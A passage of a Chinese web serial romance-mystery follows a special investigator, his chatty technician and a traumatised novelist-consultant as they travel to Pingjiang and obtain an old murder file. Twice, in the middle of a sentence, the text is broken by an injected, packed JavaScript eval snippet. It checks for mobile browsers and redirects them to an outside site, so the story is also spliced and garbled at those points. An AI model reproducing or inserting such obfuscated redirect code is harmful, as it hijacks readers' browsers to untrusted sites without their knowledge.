原安见他认可她的想法,于是继续问道:“那么沈组长,你能调到当年翔先生和我母亲遇害的卷宗吗?” 沈澈:“……” 事实证明,有时候想法太过同步也不是什么好事。 沈澈犹豫了片刻,想到原安刚刚给他立的规矩,于是抿了抿唇,决定实话实话。 “可以,但是需要时间。这个案子年代久远,且跨了省,流程上必须先打报告,提请上级协调屏江市局。”沈澈想了想,又补充道,“其实,我昨晚已经给陆局打过电话了。陆局说,这件事他会亲自督办。我想大概也就这一两天吧。” 话音刚落,沈澈便感知到西装裤袋里的手机以一种独特的频率震动了一下。 那是他为陆局的短信设置的专属长震动模式。 沈澈:“……” 该说不说,这陆局的消息来得还真是时候。 但他的面色没有丝毫变化,仿佛根本没觉察到手机的震动。 因为他很清楚,以原安的性格,若是这个时候知晓这个消息,只怕会要求立刻出发前往屏江。 但眼下,她疲惫的身体和脆弱的精神状态,根本承受不住路程的舟车劳顿以及一个完全陌生的环境。 所以,索性就让他也装作不知道吧。 反正只要他没有真的查看,没有真的确认了陆局的信息,那么一切就只是停留在猜想阶段。 这样,也不算是骗她了。 沈澈主意刚定,正要开口引开话题,却不想,下一刻,对面的原安却道:“那便好。既然这样,我们收拾一下,现在就出发去屏江吧。” 沈澈:“……”好家伙,她竟然比他想得还要积极。 “不行。”沈澈眉一挑,随即察觉自己的口吻似乎太过生硬,于是一个转折,语气硬生生柔和了下来,“我的意思是,不用这么着急。屏江离云州不远,开车的话,一个下午就到了。你昨天到现在水米未进,又经历了一次解离,我认为,你现在必须下楼吃东西,然后回去睡个觉,不然身体会受不了的。” 原安狠狠皱眉。 这熟悉的来自沈老师的关怀和温暖,让此刻的她本能地就想回避。 “我的身体我自己清楚,”原安开口,试图将两人的关系重新拉回刚刚建立的冰冷的契约规则里,“我现在不……” “不要和我说你不饿,”沈澈打断她,难得沉了脸,“原安你知道的,我有一定的心理学和医学背景,我比你更清楚你的身体情况。” “既然你是要和沈组长合作,那么,作为我的顾问,我要求你必须时刻保持最佳工作状态。我不需要一个在抵达屏江前就因体力不支而倒下的搭档。”沈澈难得强势,不容置喙,“我刚说了,流程没有这么快,大概需要一到两天。你现在出发去屏江,除了糟蹋自己的健康,根本没有任何实质性作用。” “你现在立刻下楼,去吃早餐,然后,回房睡一觉,调整一下状态。明天早上九点,我来接你去屏江。” 原安闭了嘴。 这才是真正的沈澈,那个传说中铁血手腕说一不二的沈组长。 原安莫名有些委屈。 但规则是她定的,界限也是她划的,她既然决定要和沈组长合作,就不能贪恋沈老师的温声细语和温柔体贴。 “好。” 原安应完,想想似乎也没别的事情了,便撑住沙发扶手借力,慢慢从沙发上站了起来。 沈澈几乎在她动作的同时,身体就不由自主地前倾,准备随时上前接住明显摇晃的她。 但她到底还是靠着自己站了起来。 或者说,他们几乎是同时站了起来。 原安自然注意到了沈澈的动作,但她当作没有看到,公式化开口礼貌道别。 “那,沈组长,”她再次重申了这个称呼,像是在提醒他,更是在告诫自己,“明天上午九点,大堂见。” 她刻意把地点定在了大堂,再次杜绝了其他的可能。 沈澈的手臂缓缓垂下,再次压下所有翻涌的情绪,最终只化作一个冷静的音节:“好。” 他默默跟在她身后两步远的位置,看着她摇摇晃晃走出自己的房间,走到沈澈正对面的她自己的房间门口。 他看着她用房卡刷开房门,顺利地按下门把手,走进了自己的房间。 房门轻轻合上,发出“啪嗒”轻响。 沈澈依然站在自己的房门口。 他看着那扇已然关闭的房门,许久,才长长叹了一口气。 他转身,回房,关上了自己的房门。 他从西装裤袋里掏出那只手机。 如他所料,手机屏幕上静静躺着陆局的短信。 内容非常简洁,就只有三句话——屏江协调已妥。二十五年前沈翔、原婉案卷宗,已授权你处调阅。可派专员对接。 沈澈利落地回复了“收到”,随即切至通话界面,找到那个熟悉的、让他有些头疼的号码拨了出去。 约莫过了半分钟,电话才被拖拖拉拉地接了起来。 “老~大~啊~” 一个有气无力的少年音从听筒里飘了出来,带着还没睡醒的沙哑和迷糊。浓重的哀怨,光是听着,就知道对面人接这电话接得有多不情愿了。 “今天是神圣的周六,现在是上午八点。八点啊,大哥,你知道这什么概念吗?我昨晚加班加到了凌晨一点才走。没给我算三倍工资前,不要和我说话。” 沈澈面无表情地拿起桌上的备用手机,点开网银操作了几下。 电话那头的少年还在絮絮叨叨、喋喋不休地控诉万恶的加班强度,结果话还没说完,突然听到手机提示音响起。 他放下手机一看,短信提醒他收到了一笔1000元的转账。 “卧 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“不,”沈澈道,“你做完这一切,就去屏江畔的瑨兰酒店,报我的名字,开两间总统套房。我们明天下午,直接酒店见。” 这话说完,对面静了一瞬,随即响起少年兴奋的声音:“瑨兰酒店?老大,我没听错吧,那可是超五星级酒店啊!老大,你这是终于决定腐败堕落,要开始公款吃喝了吗?” 沈澈揉揉眉心:“那是我家的产业。我开房,走内部账务,不走公款。” “昂?”梁星熠这下更疑惑了,“老大,你家居然还有涉足酒店行业啊。那你以前出差,怎么老带我住市局旁边的快捷酒店啊?” “原顾问昨晚经历了一场解离,她现在的精神状态非常不稳定,需要一个绝对安静、安全且熟悉可控的环境进行休整。”沈澈一反常态,耐着性子,给梁星熠细心解释道,“瑨兰能满足所有的条件,并且,我在瑨兰拥有绝对的控制权。这是最好的选择。” 梁星熠在电话那头又沉默了两秒,随即恍然大悟般拉起了一个非常八卦的声音:“哦~~~绝~对~控制权呐~~~” 沈澈:“……” 沈澈闭了眼,他知道这货又想歪了。 “我说梁星熠,你现在麻溜地赶紧把你书架上那几百本烂番茄霸总文给我删了!你这脑子都给看坏了!” “才不要呢。”梁星熠像是突然打通了任督二脉、找到了必胜法宝尚方宝剑一般,压低声音贱兮兮道,“老大,别怪我没提醒你哦。原姐姐也是写小说的。你再这样公然鄙视霸总文,小心我明天见到原姐姐就跟她告状哦!略略略……” 梁星熠吐完舌头,就极度怕死地以迅雷不及掩耳之势,直接挂了电话,留下一串忙音和沈澈大眼瞪小眼。 沈澈看着手机,再次闭眼,无奈叹气。 他第10086次怀疑自己当年脑子到底抽了什么风,竟然把这么个小混蛋给招进了特侦局。 另一头,小混蛋本蛋梁星熠同学,兴奋地搓了搓自己的手,觉得此时要是不搞个大新闻,简直对不起被万恶老大强行征用的神圣周末。 他兴冲冲打开了自己的笔记本电脑,十指翻飞,快速新建了一个微信小群,将专案组除了沈澈以外的所有人都拉进了群里。 然后群主梁星熠语不惊人死不休地发了第一条信息。 “家人们,吃瓜啦!我们的万年老光棍、砖石王老五终于铁树开花啦!!!” “这可是我用宝贵的周末、珍贵的头发换来的绝密情报!(点烟沧桑.jpg)” “就在刚刚,那个工作狂魔亲自来电,无情征用了我的假期!你们绝对猜不到,他给我下达了什么史诗级指令!(核弹预警.gif)” “他!要!我!去屏江的瑨兰酒店,给他和原顾问,订!总!统!套!房!!!” 消息一出,群内死寂三秒。 随即,仿佛往烧红的油锅里泼了一瓢冷水,彻底炸了。 于是,在这个周六早上八点的微信小群里,广大的人民群众,以众筹的方式,你一言我一语,飞速构建了一部要素齐全的长达四十万字长篇巨著。 从虐心虐身的替身文学,到白月光带球跑后命运重逢,从破镜重圆到追妻火葬场,从狗血三角恋到人鬼情未了……所有你能想象的狗血桥段,在这里应有尽有。 而远在云州、对此一无所知的狗血文男主角沈澈,大概会在某个瞬间忽然背后一寒,然后打了个莫名的喷嚏吧。 【云州篇完】 17. 第 17 章 翌日上午,因为那两大箱极为笨重的行李,原安非常有自知之明地提前十五分钟出门。 结果她刚打开房门,就看到了门外的沈澈。 沈澈并没有不知分寸地直接守在她的房门口,而是非常遵循社交礼仪地站在了她的对面、他自己的房门口。 他倚着门框,低着头,手指翻飞,似乎正在回复信息。他的简约商务行李包搁置在他的脚边,看上去明显已经维持这个姿势有一段时间了。 原安快速上下扫了他一眼,只一眼,她就知道这货大概率是故意等在这里的。 毕竟,没有哪个真的被紧急信息耽搁住脚步的人,会如他一般,轻轻巧巧往房门口一靠,就能完美地、实时地、充分地利用酒店走廊现成的地形,恰巧让走廊尽头落地窗外的阳光不偏不倚洒在自己身上,恰巧达成最佳打光效果,还能恰巧让住在对面的她,在打开房门的第一眼,就恰巧看到沐浴在阳光里、一身清爽的他。 这货之前观察地形、找角度、调位置、凹造型,至少整了得有半个小时吧…… 原安抿了抿唇,莫名就想狠狠吐槽。 但……话到嘴边,她到底还是没能说出口。 尽管心里非常清楚这是沈澈的阳谋,但她也不得不承认,今天的沈澈,着实过分好看了。 他难得脱下了往日惯穿的西装三件套,一反常态,换上了一件柔软妥帖的浅灰色毛衣,搭配一条剪裁利落的修身休闲长裤。阳光落下,正好照亮沈澈额前自然垂落的碎发,配上那副架在高挺鼻梁上禁欲知性的金丝眼镜,让他整个人由内而外散发着一种介于成熟男性魅力与清爽少年感之间的独特气质。 原安没忍住又多看了两眼。 却在这时,沈澈似乎正好回完了信息。 他像是才注意到她一般,无比自然地抬起了头。 不偏不倚,正好接住了她的目光。 然后,原安就看见,那双望向她的桃花眼,又温润又柔软,浅棕色的眸子,被阳光映照的如同琥珀,显得格外真诚好看。 原安莫名心头一跳。 她有些不自然地别开眼,心中唾弃自己简直色令智昏。 沈澈将她的反应尽收眼底,心头微笑,但面上却装作完全没注意到一般,非常自然地放下手机,站直身体,披着满身晨光,走进原安的安全距离。 然后他对着原安绽开了一个温和温暖的标准笑容,声音清越,如玉石相击:“早上好啊,原小姐。” 再次被阳光晃了眼的原安:“……” 原安定了定神,礼貌开口,再次拉开距离:“早上好,沈组长。我们不是约好在酒店大堂见吗?” “是啊。”沈澈无比自然地点头,一边继续走近原安,一边将早已想好的理由理直气壮地说了出来,“这不,刚走到门口,手下技术员就噼里啪啦给我来了一堆消息。你也知道,小孩子嘛,比较话痨,就耽搁了一下。没想到这么巧。” 原安:“……”巧个鬼! 这样想着,她不禁低头,想要揭穿他满满的小心机。 结果这一低头,她这才发现,不知何时,沈澈竟然已经借着打招呼的名义,在她完全没察觉的情况下,打破了安全距离,走出了阳光范围,完美地毁尸灭迹。 原安:“……” 这距离着实有点太近了,原安本能地就想要后退一步。但沈澈预判了她的想法,率先伸出了两根手指,轻轻按住了她身前其中一个行李箱的拉杠。 那是在高铁站的安检口里,差点绊倒了原安的那个更重的行李箱箱。 “原小姐,我来帮你推这个箱子吧。正好我没什么行李。” 他说完,极具暗示性地,轻轻拍了拍手下的拉杠,示意原安松手。 整个过程,他的手指始终搭在行李箱的边缘,极具分寸感地没有触碰到她的手。 但这也不能改变他的力气极大、着力点极巧的事实。 事实上,在这个过程中,原安几次暗中发力,都没能成功从他的手下,推走自己的行李箱。 最终原安无奈了,迫不得已开口,没好气企图用语言再次重新拉开距离:“不用了,沈组长。我一个人搞得定。” 沈澈对此似乎早有预料,于是顺着她的意思,换了对应的称呼:“原顾问,我昨天忘了告诉你,为了方便接下来我们在屏江的行动,我租了辆SUV,它的底盘很高。” 沈澈说到这里,刻意顿了顿,目光落在她的行李箱上,语气温软却精准:“你这个箱子很沉,强行往上提,很容易牵扯到你左肩胛骨上的旧伤。我们现在好歹是合作关系,这也算是合作的一部分吧?” 他点到为止,并没有把话说全。 但原安知道,他是在同她解释,她在望海安检台前,面对和从前一样重的箱子时,想要靠自己抬起结果却大翻车的原因。 然后,原安就不说话了。 她承认他说的是对的,但却也不想真的如他所愿,把箱子推给他。 那样看起来,简直就好像她认输了一样。 沈澈自然将她的反应尽收眼底。 他不在意地笑了一下,没再多说什么。 他只是弯曲手指,缠上拉杠,顺势用了点力。 原安不情不愿,却还是顺着这股力道,放开了自己的手。 于是沈澈顺势攻城掠地,五根手指爬上拉杠,动作流畅得将行李箱推到了自己身前。 “走吧。”沈澈边推行李边道,“我们先去退房。” 他们按部就班地退了房,而后,一前一后来到停车场。 沈澈租的是一辆黑色的丰田汉兰达,车身宽大,线条硬朗。 原安走到车尾,目光落在那个高大的后备箱上。 她身高有过一米七,在女生中并不算矮,可就算这样,那后备箱的高度竟然也已经到达她的大腿中段了,若是换个娇小些的姑娘,这高度怕是直逼大腿根。 她简单目测了一下,心里就认可了沈澈的说法。对于这种高底盘的SUV,她如果想要靠自己的力量,将行李箱独自塞进这个后备箱,她必须结结实实地做一个提举动作,而这会毫无意外地会猛烈牵扯到她左肩胛骨的旧伤。 于是,她彻底闭了嘴,在力所能及地范围内,帮着沈澈一道,将她的两个行李箱和他的行李包一起放进后备箱。 做完这一切,两人很自然一前一后走到车旁。 沈澈人高腿长,两步便走到了副驾驶位旁。他很自然抬手,为她拉开了车门,同时将手搁在车顶,姿态绅士体贴又周到。 但跟在他身后的原安,在看到那个曾经无比熟悉的座位后,脚步却是几不可查地一顿。 那个位置,载满了她和顾巍曾经的喜怒哀乐,是只属于他们两个人的空间。 但此刻,它却像一张沉默的巨口,似乎只要她坐进去,下一刻就要吞噬掉她所有的回忆。 原安几乎下意识就后退了一步。 她侧过身,低下头,避开了沈澈的目光。 片刻,她后退一步,默默伸手,自己拉开了后座车门。 “抱歉,沈组长,”她低低道,“我想,我们还是坐后座吧。” 话一出口,一股深深的自我厌弃便攫住了她。 她知道自己这样很糟糕,很矫情,可她控制不了。 那巨大的空缺感袭来时,她只能用这种幼稚的方式,徒劳地试图努力填满。 沈澈闻言,先是愣了一下。 待反应过来原安是什么意思后,他的心脏像是突然被什么东西狠狠拧了一下。 很显然,原安口中的“我们”,另一个人指的不是他,而是顾巍。 在经历了顾巍客房被占、幻想被现实彻底粉碎后,原安现在已经无法再维持之前那个“顾巍还活着”的完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509795|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整幻象了。 她的理智知道顾巍已死,但情感惯性却还是会让她下意识去依赖,甚至在特定情境下,她还会选择回避面对顾巍不在的既定事实。 比如眼下,他方才下意识的习惯,就无意识间刺激到了她。 在传统意义上,副驾驶座是一个具有强烈现实性、排他性和亲密性的位置。那是属于活着的人的、当下旅程的、伴侣的专属座位。 从她刚刚看到副驾的反应来看,不难得出,从前她和顾巍一起出行,基本上就是顾巍开车,她坐副驾。那个位置承载着她和顾巍太多的回忆,所以,当他邀请她坐他的副驾的时候,她会在一瞬间感觉到最强烈的物是人非。 一切仿佛都和从前一样,车在前行,她在副驾,但最核心的人已经不一样了。 所以,以她现下的状态,她一定会觉得,如果她真的坐上那个位置,等于在认知上彻底承认顾巍的离开、以及重新接受沈澈作为新的亲密伴侣。 这对于她刚刚经历过解离后尚且脆弱的心理而言,无疑是毁灭性的。 所以,她几乎是下意识般就选择拒绝他的副驾。 她选择后座,其实也是对眼下场景进行重新定义。 因为是后座,所以,在这辆属于沈澈的车上,她和顾巍都只是乘客。她可以在回避与沈澈并排而坐带来的亲密压力的同时,在心里为自己营造出一种顾巍尚且留在身边的象征性幻想。 她是在用自己的方式,在以最小的成本,在避开眼下最尖锐的冲突的同时,在人际关系尚且合理的范围内,最高效地减轻即刻的痛苦。 想明白了这一切,沈澈什么都没说。 他只是轻轻将副驾驶座的车门关上,仿佛那本就不该开起。 只是,在合上车门的那一刻,他还是没忍住抬眼,看向已经坐在后座上的原安。 她的鬓发垂落,她的面容悲伤。她甚至刻意往里坐了一点,为身边的“顾巍”留下了一个座位。 那一刻,沈澈瞬间就明白了这个“我们”里所包含的全部重量。 他抿了抿唇,心里略有酸涩。 他压下心头情绪,以一种极其自然的姿态,绕到驾驶座,上车,系好安全带,抬手去调后视镜。 整个过程,他平稳如常,仿佛之前的副驾驶座事件只是一个无关紧要的小插曲。 只是他在调整后视镜的时候,无意间看到坐在后座上的原安微微动了一下。 她装作不经意的样子,抬起了头,望向了镜中的他。 他们的目光就这样猝不及防地在狭小的镜面世界里不期而遇。 虽然原安很快就移开了自己的视线,掩饰性地看向窗外,但四目相接的那一刻,沈澈还是从那双漂亮的杏眼里,看到了对他由衷的歉意。 一股难以言喻的酸软情绪,夹杂着些许欣慰,悄然撞上他的心口。 这就够了。 沈澈收回目光,发动引擎,嘴角勾起一个好看的弧度。 至少,她对他,也并非全然无动于衷。 他从不信奉逝者永生的神话。 在他看来,死人占据的是回忆,而活人,拥有的是现在和未来。 回忆固然美好,但它已经定格在了过去,而人,始终是要继续向前走的。 他们朝夕相处,他们并肩而行,他们总能在接下来的日子里,创造出新的记忆、制造出新的感动。 这些鲜活的日子、真实的陪伴、温暖的依靠、共同历经的悲喜,日积月累,滴水穿石,终将于未来的某一日,在旧日的疤痕上催生出新的血肉。 他会等她。 等到生命的新叶覆盖往事的旧痕。 等到每一个真实的当下,彻底驱散过去的阴影。 等到枯木再逢春,星熄月又明。 总有一天,她会愿意坐上他的副驾的。 【云州篇完】 18. 第 18 章 原安一直以为,此行的首站应该是屏江市局。 毕竟,他们前天还在商讨,要走流程协调当地市局,调取二十五年前沈翔与原婉遇害案的全部卷宗。 所以,当沈澈把车拐进一条愈发清幽的林荫道时,原安终于后知后觉地察觉到了不对劲。 她前倾身体,对着坐在前方驾驶座上的沈澈开口询问:“沈组长,我们是不是走错了?这不像是去市局的路啊。” “没走错。”沈澈手握方向盘,目光平稳注视着前方,语气自然地解释道,“陆局协调完后,我就让手下的技术员先去屏江市局对接工作了。早上我们出门那会儿,他发来信息说,已经取到了卷宗,先回酒店去了。我们现在直接去酒店和他汇合。” 这个理由听上去非常符合沈澈一贯的高效作风,原安便也没再多想,重新靠回座位。 直到车子穿过一片精心养护的园林,最终停在一栋兼具现代商务与古典韵味的豪华酒店前,原安才再次感到了不对。 这家名为“缙兰”的超五星级酒店,坐落在屏江之畔,独占了城市近郊一整块伸入江心的半岛形宝地。向西,与城市CBD核心区隔江相望,向东,则独享超过三公里的私密水岸线,将江流转折处最壮阔的那片水景尽收眼底,极其巧妙地平衡了“出则繁华,入则宁静”的顶级区位哲学,地理位置简直好到不能再好。 沈澈停稳车后,门童训练有素地上前打开车门。 原安走下车,看着酒店巨大落地玻璃幕墙上框取的烟波浩渺的屏江江景,差点没无语地笑出声。 “沈组长,我们住这儿?”她要是现在还没想明白这到底是怎么一回事,那她这么多年就真的白活了。 “啊,是啊。”沈澈走下车,面不改色。他装模作样地看了眼手机导航,然后对着原安点头,肯定道,“没错啊,梁星熠给我发的定位就是这儿。” “你们的经费这么充足啊?”原安简直被气笑了,“我没记错的话,这里头住一晚,至少得普通刑警两个月的工资吧。” “啊,好像是这样的。”沈澈点头承认,脸不红心不跳,微扬下巴,对着前方某处轻轻点了点,毫不犹豫甩锅道,“不过这里不是我定的,你可能要问问梁星熠了。” 原安顺着他的目光望去,便见一个少年正挥动着右手从酒店的感应门里走了出来。 那个少年很年轻,看上去大概二十出头,面容清秀,稚气未脱。他上身穿一件小众潮牌与动漫联名的白色连帽卫衣,下身搭配一条版型绝佳的工装束脚裤,脚上踩着一双限量版运动鞋,看上去即潮流又时尚。 原安的目光最终停在了少年那一头明显是精心打理过、却刻意追求睡不醒风格的蓬松短发上。显然,他打理发型的火候不够,这发型并不是看上去凌乱,而是真的有些凌乱了。他的后脑上甚至还叛逆地翘起了一小戳呆毛,随着他走路的动作一颠一颠的,相当吸引人注意。 原安莫名就觉得这个发型似乎特别眼熟。 于是她下意识转头看向了一旁的沈澈。 果不其然,沈澈脑袋上就顶着同款发型。但沈澈的明显成熟许多,没有一丝刻意为之的痕迹,却真正兼具了时尚精致与浑然天成。 目光继续下移,原安又看了一眼沈澈那一身明显区别于平时的极具少年感的穿搭,终于后知后觉对他的目的有了一丝顿悟。 沈澈注意到她打量的视线,疑惑问道:“怎么了?” “没什么。”原安摇了摇头,像是突然发现了什么有趣的事情一样,唇角泛起一丝若有若无的笑意,“就感觉你们两还挺像的。” 沈澈:“?” 话音落地,那少年已经蹦到了他们面前。 他对着沈澈绽开一个灿烂到耀眼的笑容,惯常称呼几乎脱口而出:“老……” 也就在这时,他的眼角余光扫到了站着沈澈身旁的原安。 他整个人肉眼可见地僵了一下,脸上笑容瞬间凝固。那句脱口而出的熟悉的称呼被硬生生拦腰截断,断肢残骸在半空中接连滚了好几个空翻,才终于生硬地接上了后半茬。 “老,老,老师,沈老师,原顾问,啊哈哈哈,今天这天气可真好啊。” 这生硬的演技,蹩脚简直得让人不忍直视。 沈澈几不可查叹了口气。 他什么也没说,只是上前一步,非常自然地伸出手,带着一种长辈对毛躁晚辈特有的、无奈又纵容的亲昵,将梁星熠那件穿进内里的潮牌卫衣连帽,从后领里翻了出来。 这个动作他做得相当熟练自然,仿佛在此之前,早已重复过无数次一样。 原安挑挑眉,她大概猜到这个少年是谁了。 沈澈替梁星熠整理好衣服,然后转头平静地看向原安,介绍道:“这是梁星熠,专案组的技术员,和我一样,来自首都特侦局。” “昂?” 梁星熠听完沈澈的话,仿佛原地被雷劈中一般,震惊扭过头,清秀的脸上瞬间万马奔腾。 卧槽,有没有搞错? 老大你居然掉马了?! 掉马就算了,你竟然连底儿都给人家交代了? 这才出来几天啊,说好的潜伏大戏呢!我剧本都写好了,结果你给我来这出! 那现在这是什么情况? 你两进展到哪一步了? 我是不是该退下了? 梁星熠看着沈澈,滴溜溜的圆眼睛里一瞬间滚过无数弹幕,从最初的震惊转为活脱脱的鄙视,最后在沈澈淡淡的注视下,鄙视的目光又缓缓变为询问。 这番火花四射的眼神交流自然被原安尽收眼底。 原安莫名觉得有趣极了。 她难得起意,坏心眼地就想往上浇一把油。 “早上好啊,梁警官,”她笑眯眯看向梁星熠,语气温和温柔,听上去真诚极了,“听你们家老大说,这个瑨兰酒店是你定的?” “昂?”梁星熠目瞪口呆,抬手指了指自己,仿佛听到了本世纪最离谱的指控,“我吗?” 沈澈心里叹气。 这话一听就知道,原安表面上是在试探梁星熠,实际上是冲着他来的。 于是他微微一笑,缓缓开口,四两拨千斤:“不是吗,梁星熠?房卡不是还在你那里?” 梁星熠的脸一瞬间变得极其扭曲。 他机械而僵硬地侧过身,扭过头,正对着沈澈的脸上写满了愤懑——“卧槽!老大,难怪你前天让我去开房,敢情是在这里设套等着我啊?你也太无耻了吧?” 然后沈澈轻轻递给他一个眼神,梁星熠瞬间就老实了。 他一秒清空了所有弹幕,转过脸,默默接下这口惊天大锅。 他对着原安露出一个极其勉强的假笑,从裤袋里摸出两张房卡,分辨了一下,将其中一个递给原安道:“是啊是啊,我定的我定的,你看房卡都还在我这里呢。” “你定的?超五星级酒店?”原安没有接卡,只是挑眉,完全不嫌事大继续道,“你们专案组的经费这么充足呀?” “啊哈哈哈,”梁星熠的假笑僵在脸上,眼睛滴溜溜转了半天,终于急中生智,刻意压低声音,营造出一种和小伙伴悄咪咪分享内部福利的神秘氛围。 “哎呀,原姐姐,这你就不懂了吧!这是咱们市局工会的隐藏福利。我们工会跟这儿的酒店有合作,走的是关爱干警身心健康、优化出差保障条件的特殊通道,至于价格嘛,那跟快捷酒店也差不了多少,哈哈哈……” 这理由离谱得让原安嘴角一抽。 “梁星熠同志说得不够全面,我这里另外补充几点。”沈澈几乎是无缝衔接,他的语气平和而郑重,表情正式严肃得仿佛在念红头文件,“这确实是上级考虑到我们专案组常年异地奔波、工作强度极大等实际情况,特批的一项试点政策,旨在通过改善一线办案人员的休整环境,来保障核心战斗力的可持续输出。” “所有费用都经过了严格审批,完全符合国内差旅住宿费标准的上限规定。”他目光沉稳地看着原安,语气里带着不容置疑的务实精神,不着痕迹地将话题缓缓切入核心,“之所以选择这里,主要有两个原因。其一是出于绝对保密的工作需要。我们初来乍到,屏江局势深浅未知,传统的警务接待酒店是公开信息,太容易被打探和监视,但缙兰酒店作为屏江最好的超五星级酒店,能够最大程度地保护客人的隐私信息,同时,它的安保系统也能够为我们提供一个不受任何地方势力干扰的绝对中立安全的良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524805|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好环境。” “其二,是这里绝佳的地理位置,能够最大程度地满足我们接下来的行动需求。根据现有线索,二十五年前的案发地点就在这附近。住在这里,能让我们在发现新的线索的同时,以最快的速度响应、重勘现场。” “至于梁星熠同志提到的工会关怀,”他恰到好处地顿了顿,看向一旁的梁星熠,适时给予肯定,“这正体现了政策在基层落地的灵活性。” 梁星熠在一旁听得目瞪狗呆。 有那么一瞬间,他感觉自己好像不是站在酒店门口,而是站在公务员面试考场。 他愣了片刻,在接收到沈澈递来的和善目光后,瞬间回神,干笑两声,面容扭曲地配合道:“啊,对,对,领、领导总结的是,我刚刚想要表达的就是这个意思!” 原安:“……” 这两人到底是怎么做到,用最严肃的语气,把明显夹带私货的安排,说得如此清新脱俗、政治正确的? 他们是不是有点太侮辱她的智商了? 原安闭了眼,忍了一秒,觉得忍不了,不忍了。 于是,她深吸一口气,蓄力完毕,准备开启恶毒的无差别扫射模式。 沈澈明显看出了她的企图,没等她开口,就率先甩出了杀手锏:“当然,原顾问,这酒店不是白住的,等回了望海,这份试点项目的体验反馈报告,就交给你了。现在,我们先进去,吃个午饭,休整一下,下午还得看卷宗呢。” 原安:“……?” 原安简直气笑了。 这个沈组长,可真是太妙了。 她从前怎么没发现,这人不仅心机深沉,还如此擅长公报私仇呢? 原安磨了磨后槽牙。 奈何卷宗在他手里,之后的调查,她还需要他的帮忙。 这个时候因为一时意气和他翻脸,无论怎么看,都不是明智之举。 所以,这口气,她得咽下去,毕竟,眼下最关键的,是查出旧案真相。 原安闭了眼,默默开始自我心理疏导。 这难得的憋屈,让她忘了最初的提问,彻底被沈澈最后写报告的假动作给绕进去了。 半晌,原安平复好情绪,对着沈澈露出一个虚伪的假笑,咬牙切齿道:“好的呢,这份报告,我一定用心写,绝对对得起沈组长你的良、苦、用、心。” 沈澈挑挑眉,从善如流地回以一个温和的浅笑,从梁星熠手中接过房卡,递到原安面前。 原安冷哼一声,一把抽出房卡,难得失了风度,转身便走。 高跟鞋敲击在光洁的大理石地面上,发出比平日更清脆、也更响亮的哒哒声。 沈澈看着那道决绝离去的背影,无奈地长长叹了口气。 他当然知道,自己这一套先斩后奏、虚实结合的组合拳下来,算是将他苦心经营一年的温雅绅士形象粉碎得渣都不剩了。 她现在一定非常生气,或许还会觉得他霸道专治、蛮横无礼、心机深沉。 但他没有办法,他别无选择。 想到这里,沈澈没忍住又叹了口气。 在一旁的梁星熠终于看不下去了,鬼鬼祟祟凑上前,压低声音道:“老大,你这又是何苦呢?钱也花了,锅我背了,最后好感度竟然还能刷成负无穷?我跟你港啊,以我多年看小说的经验,这种闷声干大事、干了还不说的,基本都是深情男二的角色,做不了女主官配的。” 沈澈:“……” 沈澈收回目光,没什么情绪地瞥了他一眼,已经完全没脾气了。 “梁星熠同志,我最后再提醒你一次,赶紧把你那八百本西红柿小说删了吧。脑子都看坏了。” “我才不呢!”梁星熠梗着脖子,一脸不服气,“你绕这么大圈子,把人弄到这超五星级酒店来,不就是为了追她吗?这剧情我熟!” “也不完全是。”沈澈回答的声音里透着一丝疲惫。 他慢慢转回头,在亲眼确认原安走进酒店后,才慢慢开口,第一次同梁星熠认真解释道:“有人想要重演二十五年前我叔叔的悲剧,让她身败名裂,死得不明不白。” 他的声音低沉下去,带着一丝冷冽:“在屏江,只有这里,我才能确保她的绝对安全。” 19. 第 19 章 在按照沈澈的要求,放好行李,用过午餐,并稍作休整后,原安终于摸到了那份沈澈钓了她一路的旧案卷宗。 她低下头,看着手里仅有的、薄薄几页复印件,难以置信地眨了眨眼。 “就……这么一点?”她抬起头,看着沈澈,语气里带着真实的错愕。 “就这点,还是我吸了一鼻子灰,从犄角旮旯里翻出来的!”不等沈澈开口,同坐在长条沙发上的梁星熠已经抢先控诉,“我靠,原顾问,你是不知道啊,屏江市局那个档案室里的灰,积了至少得有三米厚!我都后悔去之前怎么就没想到先戴个口罩?” 他越说越激动,竟然手舞足蹈地比划起来:“还有那个档案盒啊,我去,竟然没有按照时间,收纳在事件发生当年的铁皮柜里,而是跨了好几个年份,放在了至少往前倒退五年的铁皮柜里。” “好家伙,我找这资料,光是搬它上头的箱子,就搬了整整一上午。更绝的是,在我搬箱子的时候,屏江市局档案室里那帮老油条们就这样站在旁边看着。他们就这样看着,连搭把手都不会!” “哎呦,我可太后悔当时接了老大的电话,第二天就一个人傻傻地就过去了。早知道找资料这么累,我说什么也得把老大这个心机狗一起拖去当苦力……” 原安:“……” 她早已习惯了与沈澈之间那种思维同频、言简意赅的高效交流,骤然面对这番噼里啪啦、信息量巨大却毫无重点的控诉,一时间竟然有些反应不过来。 最关键的是,这孩子是怎么做到,滔滔不绝了这么一大段,竟然没有一个字是真正地在回答她的问题的。 原安莫名有些呆滞。 梁星熠不觉有他,依旧在一旁絮絮叨叨喋喋不休。 原安的目光已经不自觉地开始游移。 她忽然就觉得,沈澈之前那句“有点话痨”的评价,实在是过于保守了。 许是她的沉默太过明显,沈澈很快就察觉到了她的无所适从。 他伸长手臂,轻轻拍了拍梁星熠的后颈,冷静打断道:“行了,说重点。” 